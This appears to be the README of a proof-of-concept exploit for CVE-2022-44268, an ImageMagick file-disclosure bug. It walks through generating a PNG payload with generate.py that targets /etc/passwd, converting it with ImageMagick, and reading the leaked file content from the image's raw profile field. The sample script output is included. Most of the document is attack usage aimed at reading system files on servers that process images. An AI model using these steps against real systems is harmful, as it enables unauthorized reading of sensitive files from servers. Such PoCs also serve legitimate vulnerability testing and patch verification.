imagemagick-lfi-poc

ImageMagick LFI PoC [CVE-2022-44268]

The researchers at MetabaseQ discovered CVE-2022-44268, i.e. ImageMagick 7.1.0-49 is vulnerable to Information Disclosure. When it parses a PNG image (e.g., for resize), the resulting image could have embedded the content of an arbitrary remote file (if the ImageMagick binary has permissions to read it).

Usage

• Make sure you have ImageMagick, and required Python packages installed.

(~)>>> python3 generate.py -f "/etc/passwd" -o exploit.png

   [>] ImageMagick LFI PoC - by Sybil Scan Research <[email protected]>
   [>] Generating Blank PNG
   [>] Blank PNG generated
   [>] Placing Payload to read /etc/passwd
   [>] PoC PNG generated > exploit.png

• Convert the generated PNG file:

(~)>>> convert exploit.png result.png

• Read contents of converted PNG file:

(~)>>> identify -verbose result.png

• Decode the data returned in Raw profile type field, you will observe the contents of /etc/passwd: